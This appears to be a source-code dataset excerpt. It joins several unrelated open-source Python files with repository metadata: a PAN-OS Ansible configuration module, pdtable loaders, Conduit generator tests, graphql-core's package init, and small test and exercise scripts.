expected_slopes = np.array([1, 1, -1, -1])
expected_pdpx = np.array([100,101,102, 200,201,202])
expected_pdpy = np.array([0, 1, 2, 2, 1, 0])
check(X, y, "x2",
expected_xranges, expected_slopes,
expected_pdpx, expected_pdpy,
min_samples_leaf=3)
def test_disjoint_regions_with_isolated_single_x_in_between():
df = pd.DataFrame()
df['x1'] = [1, 1, 1, # stratify first three x2
3, 3, 3, # stratify middle group
5, 5, 5] # stratify 3rd group x2
df['x2'] = [100,101,102,
150,150,150,# middle of other groups and same x so no slope
200,201,202]
df['y'] = [10, 11, 12, # first x2 region +1 slope
0, 0, 0, # y value doesn't matter; no slope to compute
20, 19, 18] # 2nd x2 region -1 slope but from higher y downwards
X = df.drop('y', axis=1)
y = df['y']
expected_xranges = np.array([[100, 101],
[101, 102],
[200, 201],
[201, 202]])
expected_slopes = np.array([1, 1, -1, -1])
expected_pdpx = np.array([100,101,102, 200,201,202]) # NOTE: no x=150 position
expected_pdpy = np.array([0, 1, 2, 2, 1, 0])
check(X, y, "x2",
expected_xranges, expected_slopes,
expected_pdpx, expected_pdpy,
min_samples_leaf=3,
expected_ignored=3) # ignores position x=150
| 38.068323 | 127 | 0.624735 |
795c214d3b3775458a5e70e92cb816c040f1dc6a | 10,326 | py | Python | plugins/modules/panos_config_element.py | nembery/pan-os-ansible | 44ff421c99cfcfc998cb6b9d2da9b78a3cf3d42b | [
"Apache-2.0"
] | null | null | null | plugins/modules/panos_config_element.py | nembery/pan-os-ansible | 44ff421c99cfcfc998cb6b9d2da9b78a3cf3d42b | [
"Apache-2.0"
] | 5 | 2021-06-01T05:58:47.000Z | 2022-02-01T19:01:44.000Z | plugins/modules/panos_config_element.py | nembery/pan-os-ansible | 44ff421c99cfcfc998cb6b9d2da9b78a3cf3d42b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright 2019 Palo Alto Networks, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = """
---
module: panos_config_element
short_description: Modifies an element in the PAN-OS configuration.
description:
- This module allows the user to modify an element in the PAN-OS configuration
by specifying an element and its location in the configuration (xpath).
author:
- 'Nathan Embery (@nembery)'
- 'Michael Richardson (@mrichardson03)'
version_added: '2.7.0'
requirements:
- pan-os-python
notes:
- Checkmode is supported.
- Panorama is supported.
extends_documentation_fragment:
- paloaltonetworks.panos.fragments.provider
- paloaltonetworks.panos.fragments.state
options:
xpath:
description:
- Location of the specified element in the XML configuration.
type: str
required: true
element:
description:
- The element, in XML format.
type: str
edit:
description:
- If **true**, replace any existing configuration at the specified
location with the contents of *element*.
- If **false**, merge the contents of *element* with any existing
configuration at the specified location.
type: bool
default: False
required: false
"""
EXAMPLES = """
- name: Configure login banner
vars:
banner_text: 'Authorized Personnel Only!'
panos_config_element:
provider: '{{ provider }}'
xpath: '/config/devices/entry[@name="localhost.localdomain"]/deviceconfig/system'
element: '<login-banner>{{ banner_text }}</login-banner>'
- name: Create address object
panos_config_element:
provider: '{{ provider }}'
xpath: "/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='vsys1']/address"
element: |
<entry name="Test-One">
<ip-netmask>1.1.1.1</ip-netmask>
</entry>
- name: Delete address object 'Test-One'
panos_config_element:
provider: '{{ provider }}'
xpath: "/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='vsys1']/address/entry[@name='Test-One']"
state: 'absent'
"""
RETURN = """
changed:
description: A boolean value indicating if the task had to make changes.
returned: always
type: bool
msg:
description: A string with an error message, if any.
returned: failure, always
type: str
diff:
description:
- Information about the differences between the previous and current
state.
- Contains 'before' and 'after' keys.
returned: success, when needed
type: dict
elements: str
"""
import xml.etree.ElementTree
from ansible.module_utils.basic import AnsibleModule
from ansible_collections.paloaltonetworks.panos.plugins.module_utils.panos import (
get_connection,
)
try:
from panos.errors import PanDeviceError
except ImportError:
try:
from pandevice.errors import PanDeviceError
except ImportError:
pass
def xml_compare(one, two, excludes=None):
"""
Compares the contents of two xml.etree.ElementTrees for equality.
:param one: First ElementTree.
:param two: Second ElementTree.
:param excludes: List of tag attributes to disregard.
"""
if excludes is None:
excludes = ["admin", "dirtyId", "time", "uuid"]
if one is None or two is None:
return False
if one.tag != two.tag:
# Tag does not match.
return False
# Compare attributes.
for name, value in one.attrib.items():
if name not in excludes:
if two.attrib.get(name) != value:
return False
for name, value in two.attrib.items():
if name not in excludes:
if one.attrib.get(name) != value:
return False
if not text_compare(one.text, two.text):
# Text differs at this node.
return False
# Sort children by tag name to make sure they're compared in order.
children_one = sorted(one, key=lambda e: e.tag)
children_two = sorted(two, key=lambda e: e.tag)
if len(children_one) != len(children_two):
# Number of children differs.
return False
for child_one, child_two in zip(children_one, children_two):
if not xml_compare(child_one, child_two, excludes):
# Child documents do not match.
return False
return True
def text_compare(one, two):
"""Compares the contents of two XML text attributes."""
if not one and not two:
return True
return (one or "").strip() == (two or "").strip()
def iterpath(node, tag=None, path="."):
"""
Similar to Element.iter(), but the iterator gives each element's path along
with the element itself.
Reference: https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element.iter
Taken from: https://stackoverflow.com/questions/13136334/get-xpath-dynamically-using-elementtree-getpath
"""
if tag == "*":
tag = None
if tag is None or node.tag == tag:
yield node, path
for child in node:
if child.tag == "entry":
_child_path = "{0}/{1}[@name='{2}']".format(
path, child.tag, child.attrib["name"]
)
else:
_child_path = "{0}/{1}".format(path, child.tag)
for child, child_path in iterpath(child, tag, path=_child_path):
yield child, child_path
def xml_contained(big, small):
"""
Check to see if all the XML elements with no children in "small" are
present in "big", at the same locations in the tree.
This ensures all the configuration in "small" is contained in "big", but
"big" can have configuration not contained in "small".
:param big: Big document ElementTree.
:param small: Small document ElementTree.
"""
if big is None or small is None:
return False
for element, path in iterpath(small):
if element.tag == "wrapped":
continue
# Elements with "member" children must have all their children be equal.
if element.find("*/member/..") is not None:
big_element = big.find(path)
if not xml_compare(big_element, element):
return False
# Elements with no children at the same point in the tree must match
# exactly.
elif len(element) == 0 and (element.tag != "member"):
if path != ".":
big_element = big.find(path)
else:
# handle case where small is only a single tag, thus the path ends up as '.'
big_element = big.find("./{0}".format(element.tag))
if not xml_compare(big_element, element):
return False
return True
def main():
helper = get_connection(
with_classic_provider_spec=False,
argument_spec=dict(
xpath=dict(required=True),
element=dict(required=False),
edit=dict(type="bool", default=False, required=False),
),
with_state=True,
)
module = AnsibleModule(
argument_spec=helper.argument_spec,
supports_check_mode=True,
required_one_of=helper.required_one_of,
)
parent = helper.get_pandevice_parent(module)
xpath = module.params["xpath"]
element_xml = module.params["element"]
edit = module.params["edit"]
state = module.params["state"]
try:
existing_element = parent.xapi.get(xpath)
existing_xml = parent.xapi.xml_document
existing = existing_element.find("./result/")
changed = False
diff = {}
if state == "present":
if element_xml is None:
module.fail_json(msg="'element' is required when state is 'present'.")
if edit:
element = xml.etree.ElementTree.fromstring(element_xml)
# Edit action is a regular comparison between the two
# XML documents for equality.
if not xml_compare(existing, element):
changed = True
if not module.check_mode: # pragma: no cover
parent.xapi.edit(xpath, element_xml)
else:
# When using set action, element can be an invalid XML document.
# Wrap it in a dummy tag if so.
try:
element = xml.etree.ElementTree.fromstring(element_xml)
except xml.etree.ElementTree.ParseError:
element = xml.etree.ElementTree.fromstring(
"<wrapped>" + element_xml + "</wrapped>"
)
if not xml_contained(existing, element):
changed = True
if not module.check_mode: # pragma: no cover
parent.xapi.set(xpath, element_xml)
diff = {
"before": existing_xml,
"after": element_xml,
}
# state == "absent"
else:
# Element exists, delete it.
if existing is not None:
changed = True
if not module.check_mode: # pragma: no cover
parent.xapi.delete(xpath)
diff = {"before": existing_xml, "after": ""}
# Element doesn't exist, nothing needs to be done.
else:
diff = {"before": "", "after": ""}
module.exit_json(changed=changed, diff=diff)
except PanDeviceError as e: # pragma: no cover
module.fail_json(msg="{0}".format(e))
if __name__ == "__main__":
main()
| 30.550296 | 123 | 0.614178 |
795c21a9e9e9e4dec63ec3fad47f60bb3138a941 | 549 | py | Python | Exercicios mundo 1/ex078.py | prc3333/Exercicios--de-Phyton- | a4b54af45f6bb3a89a205b570e1cf1164e505e29 | [
"MIT"
] | null | null | null | Exercicios mundo 1/ex078.py | prc3333/Exercicios--de-Phyton- | a4b54af45f6bb3a89a205b570e1cf1164e505e29 | [
"MIT"
] | null | null | null | Exercicios mundo 1/ex078.py | prc3333/Exercicios--de-Phyton- | a4b54af45f6bb3a89a205b570e1cf1164e505e29 | [
"MIT"
] | null | null | null | '''listnum = []
for c in range(0, 5):
listnum.append(int(input(f'Digite um valor para a posição {c}: ')))
print(f'você digitou os valores {listnum}')
print(f'O maior valor digitado foi:{max(listnum)}')
print(f'O menor valor digitado foi:{min(listnum)}')'''
lista = []
for c in range(0, 5):
lista.append(int(input(f'Digite um valor numerico {c+1}: ')))
print(f'Minha lista é {lista}.')
print(f'O menor numero é {min(lista)} na posição {lista.index(min(lista))}')
print(f'O maior numero é {max(lista)} na posição {lista.index(max(lista))}')
| 39.214286 | 77 | 0.67031 |
795c228dad2786e199b61e356feb46d381614ab1 | 3,977 | py | Python | pdtable/io/load/_orchestrators.py | startable/pdtable | 693af4f4d49a27f54c79887a42a0b1a1b68d77a9 | [
"BSD-3-Clause"
] | 5 | 2020-11-11T10:15:04.000Z | 2021-08-19T07:45:12.000Z | pdtable/io/load/_orchestrators.py | startable/pdtable | 693af4f4d49a27f54c79887a42a0b1a1b68d77a9 | [
"BSD-3-Clause"
] | 63 | 2020-09-02T12:40:14.000Z | 2021-07-14T19:52:33.000Z | pdtable/io/load/_orchestrators.py | startable/pdtable | 693af4f4d49a27f54c79887a42a0b1a1b68d77a9 | [
"BSD-3-Clause"
] | 4 | 2021-01-04T12:44:45.000Z | 2022-03-02T00:38:01.000Z | from __future__ import annotations
from typing import Iterable
import re
from pathlib import Path
from pdtable.store import BlockIterator
from pdtable.table_origin import (
NullInputIssueTracker,
InputIssueTracker,
InputError,
LoadItem,
)
from ._protocol import (
Loader,
)
from ._loaders import make_loader, FileReader
def queued_load(roots: list[LoadItem], loader: Loader, issue_tracker: InputIssueTracker = None):
"""
Load `LoadItem`-objects listed in `roots`, together with any items added by the loader due
to ``***include`` directives or similar
This loader is single threaded. For higher performance, a multi-threaded loader should be used.
This loader does not check for include-loops.
"""
class Orchestrator:
def __init__(self, roots, issue_tracker):
self.load_items = roots
self.issue_tracker = issue_tracker
def add_load_item(self, item):
self.load_items.append(item)
orch = Orchestrator(
roots, issue_tracker if issue_tracker is not None else NullInputIssueTracker()
)
visited: set[str] = set()
while orch.load_items:
load_proxy = loader.resolve(orch.load_items.pop(), orch)
# check for loops/duplicates
load_identifier = load_proxy.load_location.load_identifier
if load_identifier in visited:
orch.issue_tracker.add_error(
"Load location included multiple times (this may be due to an include loop)",
load_location=load_proxy.load_location)
continue
visited.add(load_identifier)
yield from load_proxy.read(orch)
def load_files(
roots: Iterable[str | Path] = None,
*,
issue_tracker: None | InputIssueTracker = None,
# below inputs are forwarded to make_reader -- only included for easy docs
csv_sep: None | str = None,
sheet_name_pattern: re.Pattern = None,
file_reader: FileReader = None,
root_folder: None | str | Path = None,
file_name_pattern: re.Pattern = None,
file_name_start_pattern: str = None,
additional_protocol_loaders: dict[str, Loader] = None,
allow_include: bool = True,
**kwargs,
) -> BlockIterator:
"""
Load a complete startable inputset
Example: load all files matching `input_*`, `setup_*` in folder `foo`::
load_files(root_folder="foo",
csv_sep=';', file_name_start_pattern="^(input|setup)_")
This function is a thin wrapper around the current best-practice loader
and the backing implementation will be updated when best practice changes.
`load_files` uses the ``FileSystemReader`` to resolve paths, which means that you must
pass absolute filenames. See docs for ``FileSystemReader`` for details.
Args:
roots: The root load items.
If ``root_folder`` is specified, contents must be valid root load specifiers
which cannot be relative file names. Default value is ``["/"]``, indicating
that the root folder is the only root load item.
If ``root_folder`` is not specified, file-protocol roots must be provided as
absolute paths.
issue_tracker: Optional; Custom `InputIssuesTracker` instance to use.
Any additional keyword arguments are forwarded to `make_loader` (see docs there).
"""
loader = make_loader(
csv_sep=csv_sep,
sheet_name_pattern=sheet_name_pattern,
file_reader=file_reader,
root_folder=root_folder,
file_name_pattern=file_name_pattern,
file_name_start_pattern=file_name_start_pattern,
additional_protocol_loaders=additional_protocol_loaders,
allow_include=allow_include,
**kwargs,
)
if roots is None and root_folder is not None:
roots = ["/"]
yield from queued_load(
roots=[LoadItem(str(f), source=None) for f in roots],
loader=loader,
issue_tracker=issue_tracker,
)
| 35.19469 | 99 | 0.681921 |
795c229ad80068baad679d638d268a1a0252d1af | 406 | py | Python | gumbi/utils/gp_utils.py | JohnGoertz/Gumbi | 7a7df9bf97bf10cdf5dc8af36026dba578e161c9 | [
"Apache-2.0"
] | 34 | 2021-11-29T11:40:52.000Z | 2022-03-10T09:08:59.000Z | gumbi/utils/gp_utils.py | JohnGoertz/Gumbi | 7a7df9bf97bf10cdf5dc8af36026dba578e161c9 | [
"Apache-2.0"
] | 13 | 2021-12-30T17:07:34.000Z | 2022-02-18T18:46:37.000Z | gumbi/utils/gp_utils.py | JohnGoertz/Gumbi | 7a7df9bf97bf10cdf5dc8af36026dba578e161c9 | [
"Apache-2.0"
] | null | null | null | import numpy as np
from scipy.spatial.distance import pdist
from scipy.stats import ncx2
def get_ℓ_prior(points):
distances = pdist(points[:, None])
distinct = distances != 0
ℓ_l = distances[distinct].min() if sum(distinct) > 0 else 0.1
ℓ_u = distances[distinct].max() if sum(distinct) > 0 else 1
ℓ_σ = max(0.1, (ℓ_u - ℓ_l) / 6)
ℓ_μ = ℓ_l + 3 * ℓ_σ
return ℓ_μ, ℓ_σ | 31.230769 | 66 | 0.635468 |
795c23542ffc0aa58701076a3123f61514d86df7 | 776 | py | Python | yacms/pages/context_processors.py | minhhoit/yacms | 39a9f1f2f8eced6d4cb89db36f3cdff89c18bdfe | [
"BSD-2-Clause"
] | null | null | null | yacms/pages/context_processors.py | minhhoit/yacms | 39a9f1f2f8eced6d4cb89db36f3cdff89c18bdfe | [
"BSD-2-Clause"
] | null | null | null | yacms/pages/context_processors.py | minhhoit/yacms | 39a9f1f2f8eced6d4cb89db36f3cdff89c18bdfe | [
"BSD-2-Clause"
] | null | null | null | from yacms.pages.models import Page
def page(request):
"""
Adds the current page to the template context and runs its
``set_helper`` method. This was previously part of
``PageMiddleware``, but moved to a context processor so that
we could assign these template context variables without
the middleware depending on Django's ``TemplateResponse``.
"""
context = {}
page = getattr(request, "page", None)
if isinstance(page, Page):
# set_helpers has always expected the current template context,
# but here we're just passing in our context dict with enough
# variables to satisfy it.
context = {"request": request, "page": page, "_current_page": page}
page.set_helpers(context)
return context
| 36.952381 | 75 | 0.681701 |
795c23de820c4df60dc5f1c166886952c1cfd515 | 4,914 | py | Python | src/tests/conduit/python/t_python_conduit_generator.py | kant/conduit | 420c69805942a77c10fa29f773f101eb61793f04 | [
"BSD-3-Clause"
] | null | null | null | src/tests/conduit/python/t_python_conduit_generator.py | kant/conduit | 420c69805942a77c10fa29f773f101eb61793f04 | [
"BSD-3-Clause"
] | null | null | null | src/tests/conduit/python/t_python_conduit_generator.py | kant/conduit | 420c69805942a77c10fa29f773f101eb61793f04 | [
"BSD-3-Clause"
] | null | null | null | ###############################################################################
# Copyright (c) 2014-2019, Lawrence Livermore National Security, LLC.
#
# Produced at the Lawrence Livermore National Laboratory
#
# LLNL-CODE-666778
#
# All rights reserved.
#
# This file is part of Conduit.
#
# For details, see: http://software.llnl.gov/conduit/.
#
# Please also read conduit/LICENSE
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice,
# this list of conditions and the disclaimer below.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the disclaimer (as noted below) in the
# documentation and/or other materials provided with the distribution.
#
# * Neither the name of the LLNS/LLNL nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY,
# LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
###############################################################################
"""
file: python_conduit_generator.py
description: Unit tests for conduit::Generator python module interface.
"""
import sys
import unittest
from conduit import Node
from conduit import Schema
from conduit import Generator
from numpy import *
def default_node():
a_val = int64(10)
b_val = int64(20)
c_val = float64(30.0)
n = Node()
n['a'] = a_val
n['b'] = b_val
n['c'] = c_val
return n;
class Test_Conduit_Generator(unittest.TestCase):
def test_simple(self):
n = default_node()
n_schema = n.to_json("conduit_json");
print("result detailed json", n_schema)
g = Generator(schema=n_schema);
ng = Node();
sg = Schema()
g.walk(node=ng);
g.walk(schema=sg);
print(ng)
print(sg)
for p in ["a","b","c"]:
orig = n.fetch(p).value()
curr = ng.fetch(p).value()
print(ng)
print(p, orig, curr)
orig = n[p]
curr = ng[p]
print(ng)
print(p, orig, curr)
self.assertEqual(orig,curr)
def test_json(self):
n = default_node()
n_schema = n.to_json("json");
print("result json", n_schema)
g = Generator(schema=n_schema,protocol="yaml");
ng = Node();
g.walk(node=ng);
print(ng)
for p in ["a","b","c"]:
orig = n.fetch(p).value()
curr = ng.fetch(p).value()
print(ng)
print(p, orig, curr)
orig = n[p]
curr = ng[p]
print(ng)
print(p, orig, curr)
self.assertEqual(orig,curr)
def test_yaml(self):
n = default_node()
n_schema = n.to_yaml();
print("result yaml", n_schema)
g = Generator(schema=n_schema,protocol="yaml");
ng = Node();
g.walk(node=ng);
print(ng)
for p in ["a","b","c"]:
orig = n.fetch(p).value()
curr = ng.fetch(p).value()
print(ng)
print(p, orig, curr)
orig = n[p]
curr = ng[p]
print(ng)
print(p, orig, curr)
self.assertEqual(orig,curr)
def test_base64(self):
n = default_node()
print(n)
n_schema = n.to_json("conduit_base64_json");
print("result base64 json", n_schema)
g = Generator(n_schema,"conduit_base64_json");
ng = Node();
g.walk(node=ng);
print("Generator result")
print(ng)
for p in ["a","b","c"]:
orig = n.fetch(p).value()
curr = ng.fetch(p).value()
print(ng)
print(p, orig, curr)
orig = n[p]
curr = ng[p]
print(ng)
print(p, orig, curr)
self.assertEqual(orig,curr)
if __name__ == '__main__':
unittest.main()
| 31.299363 | 79 | 0.583842 |
795c240914b719cb623e8b36ce2c06739001c49d | 17,552 | py | Python | src/graphql/__init__.py | nudjur/graphql-core | 0f21717201da0db4463510c055427fd9aba2c74b | [
"MIT"
] | null | null | null | src/graphql/__init__.py | nudjur/graphql-core | 0f21717201da0db4463510c055427fd9aba2c74b | [
"MIT"
] | null | null | null | src/graphql/__init__.py | nudjur/graphql-core | 0f21717201da0db4463510c055427fd9aba2c74b | [
"MIT"
] | null | null | null | """GraphQL-core-next
The primary :mod:`graphql` package includes everything you need to define a GraphQL
schema and fulfill GraphQL requests.
GraphQL-core-next provides a reference implementation for the GraphQL specification
but is also a useful utility for operating on GraphQL files and building sophisticated
tools.
This top-level package exports a general purpose function for fulfilling all steps
of the GraphQL specification in a single operation, but also includes utilities
for every part of the GraphQL specification:
- Parsing the GraphQL language.
- Building a GraphQL type schema.
- Validating a GraphQL request against a type schema.
- Executing a GraphQL request against a type schema.
This also includes utility functions for operating on GraphQL types and GraphQL
documents to facilitate building tools.
You may also import from each sub-package directly. For example, the following two
import statements are equivalent::
from graphql import parse
from graphql.language import parse
The sub-packages of GraphQL-core-next are:
- :mod:`graphql.language`: Parse and operate on the GraphQL language.
- :mod:`graphql.type`: Define GraphQL types and schema.
- :mod:`graphql.validation`: The Validation phase of fulfilling a GraphQL result.
- :mod:`graphql.execution`: The Execution phase of fulfilling a GraphQL request.
- :mod:`graphql.error`: Creating and formatting GraphQL errors.
- :mod:`graphql.utilities`:
Common useful computations upon the GraphQL language and type objects.
- :mod:`graphql.subscription`: Subscribe to data updates.
"""
# The GraphQL-core-next and GraphQL.js version info.
from .version import version, version_info, version_js, version_info_js
# The primary entry point into fulfilling a GraphQL request.
from .graphql import graphql, graphql_sync
# Create and operate on GraphQL type definitions and schema.
from .type import (
# Definitions
GraphQLSchema,
GraphQLDirective,
GraphQLScalarType,
GraphQLObjectType,
GraphQLInterfaceType,
GraphQLUnionType,
GraphQLEnumType,
GraphQLInputObjectType,
GraphQLList,
GraphQLNonNull,
# Standard GraphQL Scalars
specified_scalar_types,
GraphQLInt,
GraphQLFloat,
GraphQLString,
GraphQLBoolean,
GraphQLID,
# Built-in Directives defined by the Spec
specified_directives,
GraphQLIncludeDirective,
GraphQLSkipDirective,
GraphQLDeprecatedDirective,
# "Enum" of Type Kinds
TypeKind,
# Constant Deprecation Reason
DEFAULT_DEPRECATION_REASON,
# GraphQL Types for introspection.
introspection_types,
# Meta-field definitions.
SchemaMetaFieldDef,
TypeMetaFieldDef,
TypeNameMetaFieldDef,
# Predicates
is_schema,
is_directive,
is_type,
is_scalar_type,
is_object_type,
is_interface_type,
is_union_type,
is_enum_type,
is_input_object_type,
is_list_type,
is_non_null_type,
is_input_type,
is_output_type,
is_leaf_type,
is_composite_type,
is_abstract_type,
is_wrapping_type,
is_nullable_type,
is_named_type,
is_required_argument,
is_required_input_field,
is_specified_scalar_type,
is_introspection_type,
is_specified_directive,
# Assertions
assert_schema,
assert_directive,
assert_type,
assert_scalar_type,
assert_object_type,
assert_interface_type,
assert_union_type,
assert_enum_type,
assert_input_object_type,
assert_list_type,
assert_non_null_type,
assert_input_type,
assert_output_type,
assert_leaf_type,
assert_composite_type,
assert_abstract_type,
assert_wrapping_type,
assert_nullable_type,
assert_named_type,
# Un-modifiers
get_nullable_type,
get_named_type,
# Validate GraphQL schema.
validate_schema,
assert_valid_schema,
# Types
GraphQLType,
GraphQLInputType,
GraphQLOutputType,
GraphQLLeafType,
GraphQLCompositeType,
GraphQLAbstractType,
GraphQLWrappingType,
GraphQLNullableType,
GraphQLNamedType,
Thunk,
GraphQLArgument,
GraphQLArgumentMap,
GraphQLEnumValue,
GraphQLEnumValueMap,
GraphQLField,
GraphQLFieldMap,
GraphQLFieldResolver,
GraphQLInputField,
GraphQLInputFieldMap,
GraphQLScalarSerializer,
GraphQLScalarValueParser,
GraphQLScalarLiteralParser,
GraphQLIsTypeOfFn,
GraphQLResolveInfo,
ResponsePath,
GraphQLTypeResolver,
)
# Parse and operate on GraphQL language source files.
from .language import (
Source,
get_location,
# Print source location
print_location,
print_source_location,
# Lex
Lexer,
TokenKind,
# Parse
parse,
parse_value,
parse_type,
# Print
print_ast,
# Visit
visit,
ParallelVisitor,
TypeInfoVisitor,
Visitor,
BREAK,
SKIP,
REMOVE,
IDLE,
DirectiveLocation,
# Predicates
is_definition_node,
is_executable_definition_node,
is_selection_node,
is_value_node,
is_type_node,
is_type_system_definition_node,
is_type_definition_node,
is_type_system_extension_node,
is_type_extension_node,
# Types
SourceLocation,
Location,
Token,
# AST nodes
Node,
# Each kind of AST node
NameNode,
DocumentNode,
DefinitionNode,
ExecutableDefinitionNode,
OperationDefinitionNode,
OperationType,
VariableDefinitionNode,
VariableNode,
SelectionSetNode,
SelectionNode,
FieldNode,
ArgumentNode,
FragmentSpreadNode,
InlineFragmentNode,
FragmentDefinitionNode,
ValueNode,
IntValueNode,
FloatValueNode,
StringValueNode,
BooleanValueNode,
NullValueNode,
EnumValueNode,
ListValueNode,
ObjectValueNode,
ObjectFieldNode,
DirectiveNode,
TypeNode,
NamedTypeNode,
ListTypeNode,
NonNullTypeNode,
TypeSystemDefinitionNode,
SchemaDefinitionNode,
OperationTypeDefinitionNode,
TypeDefinitionNode,
ScalarTypeDefinitionNode,
ObjectTypeDefinitionNode,
FieldDefinitionNode,
InputValueDefinitionNode,
InterfaceTypeDefinitionNode,
UnionTypeDefinitionNode,
EnumTypeDefinitionNode,
EnumValueDefinitionNode,
InputObjectTypeDefinitionNode,
DirectiveDefinitionNode,
TypeSystemExtensionNode,
SchemaExtensionNode,
TypeExtensionNode,
ScalarTypeExtensionNode,
ObjectTypeExtensionNode,
InterfaceTypeExtensionNode,
UnionTypeExtensionNode,
EnumTypeExtensionNode,
InputObjectTypeExtensionNode,
)
# Execute GraphQL documents.
from .execution import (
execute,
default_field_resolver,
default_type_resolver,
response_path_as_list,
get_directive_values,
# Types
ExecutionContext,
ExecutionResult,
)
from .subscription import subscribe, create_source_event_stream
# Validate GraphQL queries.
from .validation import (
validate,
ValidationContext,
ValidationRule,
ASTValidationRule,
SDLValidationRule,
# All validation rules in the GraphQL Specification.
specified_rules,
# Individual validation rules.
FieldsOnCorrectTypeRule,
FragmentsOnCompositeTypesRule,
KnownArgumentNamesRule,
KnownDirectivesRule,
KnownFragmentNamesRule,
KnownTypeNamesRule,
LoneAnonymousOperationRule,
NoFragmentCyclesRule,
NoUndefinedVariablesRule,
NoUnusedFragmentsRule,
NoUnusedVariablesRule,
OverlappingFieldsCanBeMergedRule,
PossibleFragmentSpreadsRule,
ProvidedRequiredArgumentsRule,
ScalarLeafsRule,
SingleFieldSubscriptionsRule,
UniqueArgumentNamesRule,
UniqueDirectivesPerLocationRule,
UniqueFragmentNamesRule,
UniqueInputFieldNamesRule,
UniqueOperationNamesRule,
UniqueVariableNamesRule,
ValuesOfCorrectTypeRule,
VariablesAreInputTypesRule,
VariablesInAllowedPositionRule,
)
# Create, format, and print GraphQL errors.
from .error import (
GraphQLError,
GraphQLSyntaxError,
located_error,
format_error,
print_error,
INVALID,
)
# Utilities for operating on GraphQL type schema and parsed sources.
from .utilities import (
# Produce the GraphQL query recommended for a full schema introspection.
# Accepts optional IntrospectionOptions.
get_introspection_query,
# Get the target Operation from a Document.
get_operation_ast,
# Get the Type for the target Operation AST.
get_operation_root_type,
# Convert a GraphQLSchema to an IntrospectionQuery.
introspection_from_schema,
# Build a GraphQLSchema from an introspection result.
build_client_schema,
# Build a GraphQLSchema from a parsed GraphQL Schema language AST.
build_ast_schema,
# Build a GraphQLSchema from a GraphQL schema language document.
build_schema,
# @deprecated: Get the description from a schema AST node.
get_description,
# Extend an existing GraphQLSchema from a parsed GraphQL Schema language AST.
extend_schema,
# Sort a GraphQLSchema.
lexicographic_sort_schema,
# Print a GraphQLSchema to GraphQL Schema language.
print_schema,
# Print a GraphQLType to GraphQL Schema language.
print_type,
# Prints the built-in introspection schema in the Schema Language format.
print_introspection_schema,
# Create a GraphQLType from a GraphQL language AST.
type_from_ast,
# Create a Python value from a GraphQL language AST with a Type.
value_from_ast,
# Create a Python value from a GraphQL language AST without a Type.
value_from_ast_untyped,
# Create a GraphQL language AST from a Python value.
ast_from_value,
# A helper to use within recursive-descent visitors which need to be aware of the
# GraphQL type system.
TypeInfo,
# Coerce a Python value to a GraphQL type, or produce errors.
coerce_value,
# Concatenates multiple ASTs together.
concat_ast,
# Separate an AST into an AST per Operation.
separate_operations,
# Strip characters that are not significant to the validity or execution
# of a GraphQL document.
strip_ignored_characters,
# Comparators for types
is_equal_type,
is_type_sub_type_of,
do_types_overlap,
# Assert a string is a valid GraphQL name.
assert_valid_name,
# Determine if a string is a valid GraphQL name.
is_valid_name_error,
# Compare two GraphQLSchemas and detect breaking changes.
BreakingChange,
BreakingChangeType,
DangerousChange,
DangerousChangeType,
find_breaking_changes,
find_dangerous_changes,
)
# The GraphQL-core-next version info.
__version__ = version
__version_info__ = version_info
# The GraphQL.js version info.
__version_js__ = version_js
__version_info_js__ = version_info_js
__all__ = [
"version",
"version_info",
"version_js",
"version_info_js",
"graphql",
"graphql_sync",
"GraphQLSchema",
"GraphQLDirective",
"GraphQLScalarType",
"GraphQLObjectType",
"GraphQLInterfaceType",
"GraphQLUnionType",
"GraphQLEnumType",
"GraphQLInputObjectType",
"GraphQLList",
"GraphQLNonNull",
"specified_scalar_types",
"GraphQLInt",
"GraphQLFloat",
"GraphQLString",
"GraphQLBoolean",
"GraphQLID",
"specified_directives",
"GraphQLIncludeDirective",
"GraphQLSkipDirective",
"GraphQLDeprecatedDirective",
"TypeKind",
"DEFAULT_DEPRECATION_REASON",
"introspection_types",
"SchemaMetaFieldDef",
"TypeMetaFieldDef",
"TypeNameMetaFieldDef",
"is_schema",
"is_directive",
"is_type",
"is_scalar_type",
"is_object_type",
"is_interface_type",
"is_union_type",
"is_enum_type",
"is_input_object_type",
"is_list_type",
"is_non_null_type",
"is_input_type",
"is_output_type",
"is_leaf_type",
"is_composite_type",
"is_abstract_type",
"is_wrapping_type",
"is_nullable_type",
"is_named_type",
"is_required_argument",
